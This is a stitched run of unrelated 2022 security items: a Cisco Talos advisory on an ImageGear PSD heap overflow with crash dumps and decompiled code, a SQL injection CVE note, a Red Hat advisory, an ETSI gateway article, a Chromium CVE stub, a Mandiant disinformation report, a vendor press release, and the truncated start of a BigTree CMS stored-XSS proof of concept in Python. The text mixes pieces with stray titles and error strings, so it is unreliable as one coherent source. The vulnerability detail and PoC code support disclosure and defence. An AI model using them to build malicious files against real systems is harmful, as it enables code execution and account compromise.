An out-of-bounds write vulnerability exists in the PSD Header processing memory allocation functionality of Accusoft ImageGear 20.0. A specially-crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

An out-of-bounds write vulnerability exists in the PSD Header processing memory allocation functionality of Accusoft ImageGear 20.0. A specially-crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 20.0

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

There is a vulnerability in the allocation_function_mem function, due to a buffer overflow caused by a missing check for memory bounds within a heap buffer.  
A specially-crafted PSD file can lead to an out-of-bounds write, which can result in memory corruption.

Trying to load a malformed PSD file, we end up in the following situation:

    (26ec.2464): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0b905fc0 ebx=00000009 ecx=0c35c000 edx=00000008 esi=0c19ee98 edi=00000000
    eip=6d7cf76b esp=0019f650 ebp=0019f6a4 iopl=0         nv up ei pl nz ac pe cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010217
    igcore20d!IG_mpi_page_set+0xf35db:
    6d7cf76b 8801            mov     byte ptr [ecx],al          ds:002b:0c35c000=??
    

When we look at the ecx memory allocation we can see the buffer allocated is very small, only 4 bytes:

    0:000> !heap -p -a ecx
        address 0c35c000 found in
        _DPH_HEAP_ROOT @ 2cb1000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                     c360b94:          c35bff8                4 -          c35b000             2000
        6db3a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
        77c0f10e ntdll!RtlDebugAllocateHeap+0x00000039
        77b770f0 ntdll!RtlpAllocateHeap+0x000000f0
        77b76e3c ntdll!RtlpAllocateHeapInternal+0x0000104c
        77b75dde ntdll!RtlAllocateHeap+0x0000003e
        6d50daff MSVCR110!malloc+0x00000049
        6d6d663e igcore20d!AF_memm_alloc+0x0000001e
        6d7cee2c igcore20d!IG_mpi_page_set+0x000f2c9c
        6d7ce14a igcore20d!IG_mpi_page_set+0x000f1fba
        6d7cde94 igcore20d!IG_mpi_page_set+0x000f1d04
        6d7cc5d8 igcore20d!IG_mpi_page_set+0x000f0448
        6d7cbf4a igcore20d!IG_mpi_page_set+0x000efdba
        6d6b1399 igcore20d!IG_image_savelist_get+0x00000b29
        6d6f09e7 igcore20d!IG_mpi_page_set+0x00014857
        6d6f0349 igcore20d!IG_mpi_page_set+0x000141b9
        6d685777 igcore20d!IG_load_file+0x00000047
    *** WARNING: Unable to verify checksum for Fuzzme.exe
        00402239 Fuzzme!fuzzme+0x00000019
        00402544 Fuzzme!fuzzme+0x00000324
        004062a0 Fuzzme!fuzzme+0x00004080
        762ffa29 KERNEL32!BaseThreadInitThunk+0x00000019
        77b97a9e ntdll!__RtlUserThreadStart+0x0000002f
        77b97a6e ntdll!_RtlUserThreadStart+0x0000001b
    

The issue is happening in the function allocation_function_mem, represented by the following pseudo-code (this is a very large function where a lot of code was removed to make it simpler to read):

    LINE1    AT_ERRCOUNT
    LINE2        allocation_function_mem
    LINE3    (mys_table_function *mys_table_function,int param_2,uint heap,psd_header *psd_header,
    LINE4     int *param_5,HIGDIBINFO higdibinfo)
    LINE5    
    LINE6    {
    [...]
    LINE69       bcheck_format = False;
    LINE70       bitsperchanneleq16_is2_or1 = 1;
    LINE71       enumIGColorSpaceIDs = DIB_colorspace_get(higdibinfo);
    LINE72       color_count = iIG_util_colorspace_color_count_get(enumIGColorSpaceIDs);
    LINE73       if (psd_header->bits_per_channel == 16) {
    LINE74           bitsperchanneleq16_is2_or1 = 2;
    LINE75       }
    LINE76       _color_mode = psd_header->color_mode;
    LINE77       if (param_5 == (int *)0x0) {
    LINE78           _num_channel_image = (uint)psd_header->num_channel_image;
    LINE79           if ((int)color_count < (int)_num_channel_image) {
    LINE80               bcheck_format = (uint)(psd_header->field53_0x98 != 0);
    LINE81           }
    LINE82       }
    LINE83       else {
    [...]
    LINE99       }
    LINE100  start_alloc:
    LINE101      __num_channel_image = _num_channel_image;
    LINE102      width = DIB_width_get(higdibinfo);
    LINE103      _height_from_dib = DIB_height_get(higdibinfo);
    LINE104      _witdh = DIB_width_get(higdibinfo);
    LINE105      _product_of_numchannel_bits_per_channel = IGDIBStd::DIB_bit_depth_get(higdibinfo);
    LINE106      _size_buffer_alloc = (int)(_witdh * _product_of_numchannel_bits_per_channel + 0x1f) >> 3 & 0xfffffffc;
    LINE108      psd_buffer_oobw = (undefined4 *)AF_memm_alloc(heap,_size_buffer_alloc);
    LINE109      channel_image_data = (channel_image_struct *)AF_memm_alloc(heap,__num_channel_image * 0x28);
    LINE110      /* Check for allocation buffer */
    LINE111      if ((psd_buffer_oobw == (undefined4 *)0x0) || (channel_image_data == (channel_image_struct *)0x0))
    LINE112      {
    LINE113          heap = 0;
    LINE114          _index_channel_loop = 0x9f8;
    LINE115  ErrorPsdRead:
    LINE116          AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\psdread.c",_index_channel_loop,-1000,0,heap,
    LINE117                  0,(LPCHAR)0x0);
    LINE118      }
    LINE119      else {
    LINE120          /* Allocation buffer succeeded */
    LINE121          OS_memset(psd_buffer_oobw,0,_size_buffer_alloc);
    LINE122          OS_memset(channel_image_data,0,__num_channel_image * 0x28);
    [...]
    LINE452          local_34 = 0;
    LINE453          if (0 < _height_from_dib) {
    LINE454              do {
    [...]
    LINE469                  if (_color_mode == CMYK) {
    [...]
    LINE535                  }
    LINE536                  else if (_color_mode == 0x8b7) {
    [...]
    LINE679                  }
    LINE680                  else {
    LINE681                      _index_width = (ushort *)0x0;
    LINE682                      if (0 < width) {
    LINE683                          _index_channel_loop = ____num_channel_image * 2;
    LINE684                          table_per_channel = psd_buffer_oobw;
    LINE686                          do {
    LINE687                              if (param_5 == (int *)0x0) {
    LINE688                                  if (bcheck_format == False) {
    LINE689                                      if (bitsperchanneleq16_is2_or1 == 1) {
    LINE690                                          index_num_channel_image = 0;
    LINE691                                          currentMemory = table_per_channel; 
    LINE692                                          if (0 < (int)____num_channel_image) {
    LINE693                                              do {
    LINE694                                                  if ((*chanel_image_data)[index_num_channel_image] == 0xffffffff) {
    LINE695                                                      *(undefined *)currentMemory = 0;
    LINE696                                                  }
    LINE697                                                  else {
    LINE698                                                      *(undefined *)currentMemory = 
    LINE699                                                          *(undefined *)
    LINE700                                                          ((int)_index_width +
    LINE701                                                           *(int *)&channel_image_data
    LINE702                                                           [(*chanel_image_data)[index_num_channel_image]].field_0x1c)
    LINE703                                                          ;
    LINE704                                                  }
    LINE705                                                  index_num_channel_image = index_num_channel_image + 1;
    LINE706                                                  currentMemory = (undefined4 *)((int)currentMemory + 1);
    LINE707                                              } while (index_num_channel_image < (int)____num_channel_image);
    LINE708                                              goto next_index_channel_loop;
    LINE709                                          }
    LINE710                                      }
    LINE711                                      else if (bitsperchanneleq16_is2_or1 == 2) {
    [...]
    LINE731                                      }
    LINE732                                  }
    [...]
    LINE774                              }
    [...]
    LINE852                              else if (bitsperchanneleq16_is2_or1 == 2) {
    [...]
    LINE881  next_index_channel_loop:
    LINE882                                  _index_channel_loop = ____num_channel_image * 2;
    LINE883                              }
    LINE884                              _index_width = (ushort *)((int)_index_width + 1);
    LINE885                              table_per_channel = (undefined4 *)((int)table_per_channel + ____num_channel_image);
    [...]
    LINE888                          } while ((int)_index_width < width);
    LINE889                      }
    LINE890                  }
    [...]
    LINE1019             } while( true );
    LINE1020         }
    [...]
    LINE1036     }
    LINE1037 end:
    LINE1038     _product_of_numchannel_bits_per_channel = AF_error_check();
    LINE1039     return _product_of_numchannel_bits_per_channel;
    LINE1040 Setbcheck_format:
    LINE1041     bcheck_format = True;
    LINE1042     goto start_alloc;
    LINE1043 }
    

The out-of-bounds write is happening in the pointer variable currentMemory at LINE698. The currentMemory pointer value is set by the variable table_per_channel at LINE691. This variable table_per_channel is initialized the first time at LINE684 with the pointer variable named psd_buffer_oobw, then incremented by ____num_channel_image at LINE885 through a do-while loop starting at LINE686 and ending at LINE888, controlled by the value of width. The variable ____num_channel_image is a pseudo variable corresponding to num_channel_image at LINE78 along the code, read directly from the file.

The psd_buffer_oobw buffer is created at LINE108 with a size set from the variable _size_buffer_alloc, which is computed at LINE106. This is derived from width, which is directly read from the file, and _product_of_numchannel_bits_per_channel, which is computed earlier in the program. That said this _product_of_numchannel_bits_per_channel is set to the product of num_channel_image, read from the file, and bits_per_channel, also read directly from the file, allowing an attacker to completely control the out-of-bounds write.

The currentMemory is controlled by a second do-while loop, starting at LINE693, ending at LINE707 controlled by the value of num_channel_image boundary. The issue is happening when a value of ‘1’ is set to the bits_per_channel header of the PSD file, as the size computed at LINE106 can be smaller than num_channel_image due to the round in the formula with the constant ‘0xfffffffc’ at LINE106. Thus a missing check for a minimum size in the code is enabling the vulnerability to trigger. The assignments happening inside that function are out-of-bounds heap writes, which lead to memory corruption and possibly code execution.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 5468
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 14507
    
        Key  : Analysis.Init.CPU.mSec
        Value: 8155
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 93632
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 163
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 381908
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 50
    
        Key  : WER.OS.Branch
        Value: vb_release
    
        Key  : WER.OS.Timestamp
        Value: 2019-12-06T14:06:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.19041.1
    
        Key  : WER.Process.Version
        Value: 1.0.2.0
    
    
    NTGLOBALFLAG:  2000000
    
    PROCESS_BAM_CURRENT_THROTTLED: 0
    
    PROCESS_BAM_PREVIOUS_THROTTLED: 0
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6d7cf76b (igcore20d!IG_mpi_page_set+0x000f35db)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000001
       Parameter[1]: 0c35c000
    Attempt to write to address 0c35c000
    
    FAULTING_THREAD:  00002464
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0c35c000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0c35c000
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f6a4 6d7ce14a     0019fc3c 0c19ee98 1000001e igcore20d!IG_mpi_page_set+0xf35db
    0019f6d0 6d7cde94     0019fc3c 0ba78fe0 1000001e igcore20d!IG_mpi_page_set+0xf1fba
    0019f724 6d7cc5d8     0019fc3c 0ba78fe0 1000001e igcore20d!IG_mpi_page_set+0xf1d04
    0019f75c 6d7cbf4a     0019fc3c 0019f784 0019f7ac igcore20d!IG_mpi_page_set+0xf0448
    0019fbb4 6d6b1399     0019fc3c 0ba78fe0 00000001 igcore20d!IG_mpi_page_set+0xefdba
    0019fbec 6d6f09e7     00000000 0ba78fe0 0019fc3c igcore20d!IG_image_savelist_get+0xb29
    0019fe68 6d6f0349     00000000 05760fd0 00000001 igcore20d!IG_mpi_page_set+0x14857
    0019fe88 6d685777     00000000 05760fd0 00000001 igcore20d!IG_mpi_page_set+0x141b9
    0019fea8 00402239     05760fd0 0019febc 762ff550 igcore20d!IG_load_file+0x47
    0019fec0 00402544     05760fd0 0019fef8 056c0f48 Fuzzme!fuzzme+0x19
    0019ff28 004062a0     00000005 056baf68 056c0f48 Fuzzme!fuzzme+0x324
    0019ff70 762ffa29     002b7000 762ffa10 0019ffdc Fuzzme!fuzzme+0x4080
    0019ff80 77b97a9e     002b7000 65c54d1e 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77b97a6e     ffffffff 77bb8a36 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406328 002b7000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igcore20d!IG_mpi_page_set+f35db
    
    MODULE_NAME: igcore20d
    
    IMAGE_NAME:  igcore20d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_igcore20d.dll!IG_mpi_page_set
    
    OS_VERSION:  10.0.19041.1
    
    BUILDLAB_STR:  vb_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  20.0.0.0
    
    FAILURE_ID_HASH:  {fe8f80f8-683f-d41f-7c33-712a409d5fb5}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2022-06-13 - Vendor Disclosure  
2022-07-18 - Public Release  

Discovered by Emmanuel Tacheau of Cisco Talos.

CVE-2022-29465: TALOS-2022-1526 || Cisco Talos Intelligence Group

A vulnerability was found in SourceCodester Electronic Medical Records System and classified as critical. Affected by this issue is some unknown functionality of the component POST Request Handler. The manipulation of the argument user_email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-205664.

Sorry, something went wrong. Reload?

Sorry, we cannot display this file.

Sorry, this file is invalid so it cannot be displayed.

CVE-2022-2676: Cve-vulnerability-mining/Electronic Medical Records System-loginpage-Sqlinjection.pdf at main · Hanfu-l/Cve-vulnerability-mining

Red Hat Security Advisory 2022-5908-01 - Openshift Logging Bug Fix Release. Issues addressed include denial of service and out of bounds read vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: Openshift Logging Bug Fix and security update Release (5.3.10)  
Advisory ID:       RHSA-2022:5908-01  
Product:           Red Hat OpenShift Enterprise  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5908  
Issue date:        2022-08-04  
CVE Names:         CVE-2021-38561 CVE-2021-40528 CVE-2022-1271  
                   CVE-2022-1621 CVE-2022-1629 CVE-2022-21540  
                   CVE-2022-21541 CVE-2022-22576 CVE-2022-25313  
                   CVE-2022-25314 CVE-2022-27774 CVE-2022-27776  
                   CVE-2022-27782 CVE-2022-29824 CVE-2022-34169  
====================================================================  
1. Summary:

Openshift Logging Bug Fix Release (5.3.10)

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

Openshift Logging Bug Fix Release (5.3.10)

Security Fix(es):

* golang: out-of-bounds read in golang.org/x/text/language leads to DoS  
(CVE-2021-38561)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

For OpenShift Container Platform 4.9 see the following documentation, which  
will be updated shortly, for detailed release notes:

https://docs.openshift.com/container-platform/4.9/logging/cluster-logging-release-notes.html

For Red Hat OpenShift Logging 5.3, see the following instructions to apply  
this update:

https://docs.openshift.com/container-platform/4.9/logging/cluster-logging-upgrading.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS

5. References:

https://access.redhat.com/security/cve/CVE-2021-38561  
https://access.redhat.com/security/cve/CVE-2021-40528  
https://access.redhat.com/security/cve/CVE-2022-1271  
https://access.redhat.com/security/cve/CVE-2022-1621  
https://access.redhat.com/security/cve/CVE-2022-1629  
https://access.redhat.com/security/cve/CVE-2022-21540  
https://access.redhat.com/security/cve/CVE-2022-21541  
https://access.redhat.com/security/cve/CVE-2022-22576  
https://access.redhat.com/security/cve/CVE-2022-25313  
https://access.redhat.com/security/cve/CVE-2022-25314  
https://access.redhat.com/security/cve/CVE-2022-27774  
https://access.redhat.com/security/cve/CVE-2022-27776  
https://access.redhat.com/security/cve/CVE-2022-27782  
https://access.redhat.com/security/cve/CVE-2022-29824  
https://access.redhat.com/security/cve/CVE-2022-34169  
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYuwKd9zjgjWX9erEAQgexxAAmIzleGnLdCBu+yeCdCPsxjElzuAtfH8+  
HhAEjuIYf2vyZqIB+Pa8ghittm/s1HSv1nPAfsJBLcOY2szNZLZ/T5hwKqIDQ4M2  
b36IYTskfz0BZ0C7tha6pQF6ihc/EgVa1CfDgyQEzosDoUVZRyLUEZBh7TrD9Y8O  
mcDhUSDBFVPN3II1U40qANMi+KlkW47YjcVCR+erfG8yscoqFoD9QTmuV/JzoioL  
tBsL3CQTAjs7+bwuF8Jyh3bb4fQxjtLeh+U4D6p0Inn9soPsHTOBe5/zU5wHJtRe  
v1IW1zYgblBPUqD6n5RUzSTKmreQX+aOJLZNuY8PfFOtcMLOcYJyoz1LRFNf0Hym  
68NLNGJ0DGISmRVGBemXiwusYGtWvHgzbQWzpdXA4s2z5skjIZ8O9+iTZng9AlX3  
YsGcvMKfnCrhfFSbGYWPBZwlm0hRE/++Tfw1i110pEPdfqspH5ZvtBhrQux3COn7  
xJmK6bZVUz2MEhH02NfwdFaP8Gjd4FoRGOIqxdBrvj8TOnJIKd7npOEXS5ovgetp  
NtwkwPlt8tAB/ZQU1X4DIa84IDrEdiL88ys3KxdCtKYO3fY0Hx7DOVQqeGEdAcQ8  
HSZnALjLRyjYJ7vRE2aIUqHPW9Rh9je8vsb54UR8w/ofuYawR1evMie2OT4PSFWP  
YR+hkO1lWmo=j+Pi  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5908-01

Development of digital gateways to protect the places where we live, work, and converse need to be secure and many doors need to offer restricted access.

What our homes mean to us has been redefined over the COVID era. We now work, rest, and play within its boundaries, not only with family, but also with friends and colleagues in real life or through our computers and connected devices. This "open door" policy, spurred by the pandemic, shows no signs of abating. As a result, our homes are vulnerable in several new ways, and we need to ensure our "new normal" doesn't take advantage of our hospitality.

Homes are also becoming smarter; we're inviting in more technology that is viewing, analyzing, and understanding our daily lives: Think Ring doorbells, Alexas, Zoom, Teams, and banking apps. We are giving technology permission to have some amount of control over and insight into our lives — to do this, they need to be connected and therefore we are introducing more open doors for potentially uninvited guests.

For these reasons, Home Gateways are vital to homes in order to ensure the four walls we live in are protected from digital thieves in the same way that our front doors protect our homes. However, these Home Gateway systems will only work within the Internet of Things (IoT) if the systems and standards that link them enable clarity, comprehension, and collaboration between providers and end users. Unlike our physical homes, there are many ways into our digital home networks, and we only want invited guests.

**Building on the Baseline**

The growing concern regarding the increasing number of Internet-connected devices prompted a number of ETSI members to bring their experience in national guidance and security development together to develop EN 303 645 to act as a baseline for all IoT devices. The aim was to bring all IoT devices to the market with a level of security that started to take away uncertainty for the end user, to offer a device that provides a level of security and helps police the open doors.

However, as our homes become a more complex environment, which moves beyond the IoT, this baseline needs to be built upon. This is why ETSI created TS 103 848 to provide the opportunity to build higher and deeper defenses for now and in the future. Developed by the CYBER Technical Committee, it builds out guidance and examples of the application of the baseline and beyond, most recently encouraging a formal template to make it clear where the baseline is extended or, in rare cases, where it doesn't apply. The first related standard addressed smartphones and was released at the end of last year; the next one will focus on smart door locks. The technical specifications will secure physical devices between the in-home network and the public network, as well as the traffic between these networks, which is vital to home security.

What has been developed with this new Home Gateway security document is important in that it makes it possible to achieve a high level of baseline security at the border of the Internet and home, which is integral to our new digital homes staying secure. It also strengthens the idea that simple security models developed to be universal can be extended and applied to vertical domains without invalidating the universal model. During the entire development of the Home Gateway requirements, and continuing in the development of test and validation of the requirements, there has been involvement from all parts of the stakeholder community. This means developers, manufacturers, operators, regulators, and testers have all come together to make the common baseline and set up for the future.

**Staying Secure**

Home Gateways are the first line of security defense for connected IoT and other home devices. While a secure Home Gateway does not remove the need for strong security of local devices connected to the gateway, it can provide protection against vulnerability for legacy devices or for those devices that cannot otherwise be secured. A secure Home Gateway is therefore a key security layer of the connected home. In a world where IoT devices are in every room of our households, measures to secure them and protect citizens from malicious attacks are of the essence.

Protecting our home is something we can never be complacent about and the Home Gateway addresses and keeps secure the gateways and windows into our lives that the digital world offers. Thus, the age-old promise of the ideal work-life balance has been brought closer with the hybrid of work from home, the occasional commute, flexible working hours, and a secure Internet starting with the basics of a secure Home Gateway.

**Further Information**

The ETSI consumer cybersecurity standard is supplemented by a test specification to help manufacturers pass certification schemes, a guide to facilitate implementation, and a template to better develop future vertical standards, within the committee or other standardization bodies.

*   To help manufacturers and other stakeholders, the ETSI CYBER technical committee has also released a Technical Report, ETSI TR 103 621 **\[Note: PDF download\],** to provide guidance to implement the provisions in ETSI EN 303 645.
*   To help develop other vertical standards, ETSI has created a template **\[Note: Word doc download\]** providing a structured way to extend EN 303 645 for the vertical domain.

A Digital Home Has Many Open Doors

**What is the version information for this release?**

Microsoft Edge Version

Date Released

Based on Chromium Version

104.0.1293.47

8/5/2022

104.0.5112.79/80/81

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20220802**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20220802)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2022-2624: Chromium: CVE-2022-2624 Heap buffer overflow in PDF

A global network of inauthentic news sites present themselves as independent news outlets, offering content favoring China's government and articles critical of the US.

A fake-news influence campaign based in China is leveraging at least 72 inauthentic news sites to push content strategically aligned with the political interests of the People's Republic of China (PRC) across the globe and in multiple languages.  

The sites are linked to a Chinese public-relations firm called Shanghai Haixun Technology, according to a report from Mandiant, which dubbed the campaign "HaiEnergy." To disseminate the content, the effort makes use of various social-media accounts with hundreds of thousands of followers. 

The purpose of the campaign is to target global audiences with messaging intended to improve the international image of China — and to discredit critics of its policies. According to the new Mandiant report, the campaign narratives include promoting the reform of Hong Kong's electoral system — giving the mainland government more control over choosing candidates — and criticizing the United States and its allies.

At the start of the month, several of the sites published articles critical of US House Speaker Nancy Pelosi's recently concluded trip to Taiwan, warning her to "stay away from Taiwan."

The content also attempts to discredit outspoken government opponents, including German anthropologist Adrian Zenz, who is known for his research on China's autonomous Xinjiang territory in the northwest, where there has been a reported genocide against the Uyghur population.

This was done via website articles and social-media posts, featuring what Mandiant suspects to be "at least three fabricated letters, based on obvious grammatical errors and typos."

One letter was observed being used by a Twitter account belonging to a suspected inauthentic persona "Jonas Drosten" (@Jonas\_drosten), who posted a tweet containing images of three letters. The tweet, and one of the letters, alleges that Adrian received "financial support from US Senator Marco Rubio and former White House Chief Strategist Steve Bannon."  

The Uyghur ethnic minority community has in the past been a target of multiple other disinformation efforts.

**Outsourcing Fake News Efforts**

Mandiant researchers were not able to determine whether Shanghai Haixun Technology is aware of the fakeness of the HaiEnergy effort, but the researchers found evidence that the campaign has leveraged services and infrastructure belonging to the PR firm to host and distribute content.  

The campaign's use of third-party infrastructure allows the operators behind the campaign to obfuscate their identities while distributing content. And the use of a PR firm in this campaign may also be suggestive of recent trends noted by Meta (PDF) regarding the increased outsourcing of influence operations to third parties.

The Mandiant report also notes that actors that use PR firms may also do so to lower the barrier to entry for such activity to actors with limited experience in such areas.

"The campaign does not appear to be particularly sophisticated, as evidenced at least in part by the seeming lack of substantial engagement outside of inauthentic amplification of its content," says Ryan Serabian, senior analyst at Mandiant.  

For instance, some of the social-media accounts outright note that they've been commissioned to promote content, and their bios suggest that they were willing to do "paid promos."

Serabian explains that social-media platforms, governments, and other organizations increasingly look to root out inauthentic information activity, so he expects that actors will adapt new tactics and strategies, like contracting PR firms, to continue to achieve their aims.

"As we've highlighted, such actors might seek to leverage PR firms to distribute content, and they may also become more inventive in the types of content they distribute, such as by way of using technology like artificial intelligence-generated 'deepfake' images and videos," he says.  

This particular operation follows the efforts of Russian operatives, and those allied with Russian interests, which unleashed a deluge of disinformation and fake news to try and sow fear and confusion in Ukraine following the invasion of that nation.

Massive China-Linked Disinformation Campaign Taps PR Firm for Help

Agentless approach meets the attacker earlier to protect financial services and other large enterprises from an underserved attack vector.

**NEW YORK, NY – Aug. 3, 2022** – Deep Instinct, the first company to apply end-to-end deep learning to cybersecurity, today delivered Deep Instinct Prevention for Applications, an agentless, on-demand, antimalware solution for the enterprise that is device and operating system agnostic. This new offering revolutionizes threat protection beyond the endpoint with flexible, deploy anywhere, in-transit file scanning via API to quickly return a malicious versus benign verdict at enterprise speed. It protects any web application or cloud storage from malicious content while fully ensuring data privacy.

Until now, financial services and other industries with petabytes of data in motion each day have been at high risk from uploaded malicious content that can be detonated upon download from storage. These organizations have been relying on antiquated solutions that are slow, consume vast CPU and memory resources, and miss unknown malware, leaving this threat segment underserved.

In the wake of the pandemic, fintech transactions alone rose by 13% and their volume by 11%, indicating significant industry growth. With tens of millions of files in transit each day connected to high-value trading data, mortgage applications, insurance claims, and other sensitive information, financial institutions are at risk from unchecked malicious uploads or downloads and lack viable options to ensure infected content is not a threat to their operations or their customers. As threat actors seek alternative points of entry into enterprise environments, this risk factor will only increase. In fact, one study found that 35% of "never-before-seen" malware files were hidden in Microsoft Office and PDF files.

"As threat actors compromise points of entry beyond the endpoint, financial services institutions that exchange tens of millions of files each day are at increased risk. This was primarily created by the failure of established antivirus, network and other solutions to evolve. They are slow, can't scale or process high volumes of daily traffic or handle large file sizes, and often resort to sandboxing. As a result, they continue to miss unknown threats, and incur high infrastructure costs. "That's the worst of both worlds for an enterprise," said Guy Caspi, CEO and Co-Founder of Deep Instinct. "Deep Instinct is disrupting the cybersecurity status quo by setting a new standard for preventing malicious files, both known and unknown, before they reach storage."

Deep Instinct Prevention for Applications provides organizations an on-demand, high-speed scanning solution that prevents \>99% unknown malware hidden in files and easily scales to scan tens of millions of files per day. With very low CPU requirements, a low false-positive rate of <0.1%, near zero latency, and low processing requirements, Deep Instinct provides the most innovative solution for this underserved threat gap. A typical traditional AV solution is ineffective at preventing unknown malware, will require sandbox and cloud intelligence checks, and takes an average of 90 seconds to 3 minutes to make decisions. Traditional AV/sandbox solutions are ineffective at solving this issue as they are easily evaded and slow to respond. This increases risk and negatively affects the user experience but impacts the business by slowing down critical processes.

"Deep Instinct is addressing a major pain point of today's enterprise — their exposure to an ever-expanding number of attack vectors," said David OLeary, Field CISO – Sr. Director, Global Cybersecurity, SHI. "We look forward to bringing this truly unique solution to our enterprise customer base and helping them better protect themselves and their customers from malicious content as they exchange important files every day."

Other benefits of Deep Instinct Prevention for Applications include the following:

*   Does not rely on the cloud to provide a verdict.
*   Only the file hash ever leaves the environment, retaining full customer data privacy.
*   No customer data is used for training or updating AI models.
*   Minimal infrastructure resources, including CPU and memory usage, combined with a small footprint, ensure a low total cost of ownership.

For more product information and case studies, please visit: https://deepinstinct.com/prevention-for-applications.

**About Deep Instinct**

Deep Instinct takes a prevention-first approach to stopping ransomware and other malware using the world's first and only purpose-built, deep-learning cybersecurity framework. We predict and prevent known, unknown, and zero-day threats in <20 milliseconds, 750X faster than the fastest ransomware can encrypt. Deep Instinct has >99% zero-day accuracy and promises a <0.1% false positive rate. The Deep Instinct Prevention Platform is an essential addition to every security stack — providing complete, multilayered protection against threats across hybrid environments. For more, visit www.deepinstinct.com.

Deep Instinct Pioneers Deep-Learning Malware Prevention to Protect Mission-Critical Business Applications at Scale

BigTree CMS 4.4.16 was discovered to contain an arbitrary file upload vulnerability which allows attackers to execute arbitrary code via a crafted PDF file.

A stored cross-site scripting (XSS) vulnerability exists in BigTree-CMS 4.4.16 that allows an authenticated user authorized to upload a malicious .pdf file which acts as a stored XSS payload. If this stored XSS payload is triggered by an administrator it will trigger a XSS attack.

1.  Login as admin and access the files upload page:  
    
2.  Use the following PoC to generate malicious files:

import sys

from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray

def make\_js\_action(js):
    action \= PdfDict()
    action.S \= PdfName.JavaScript
    action.JS \= js
    return action

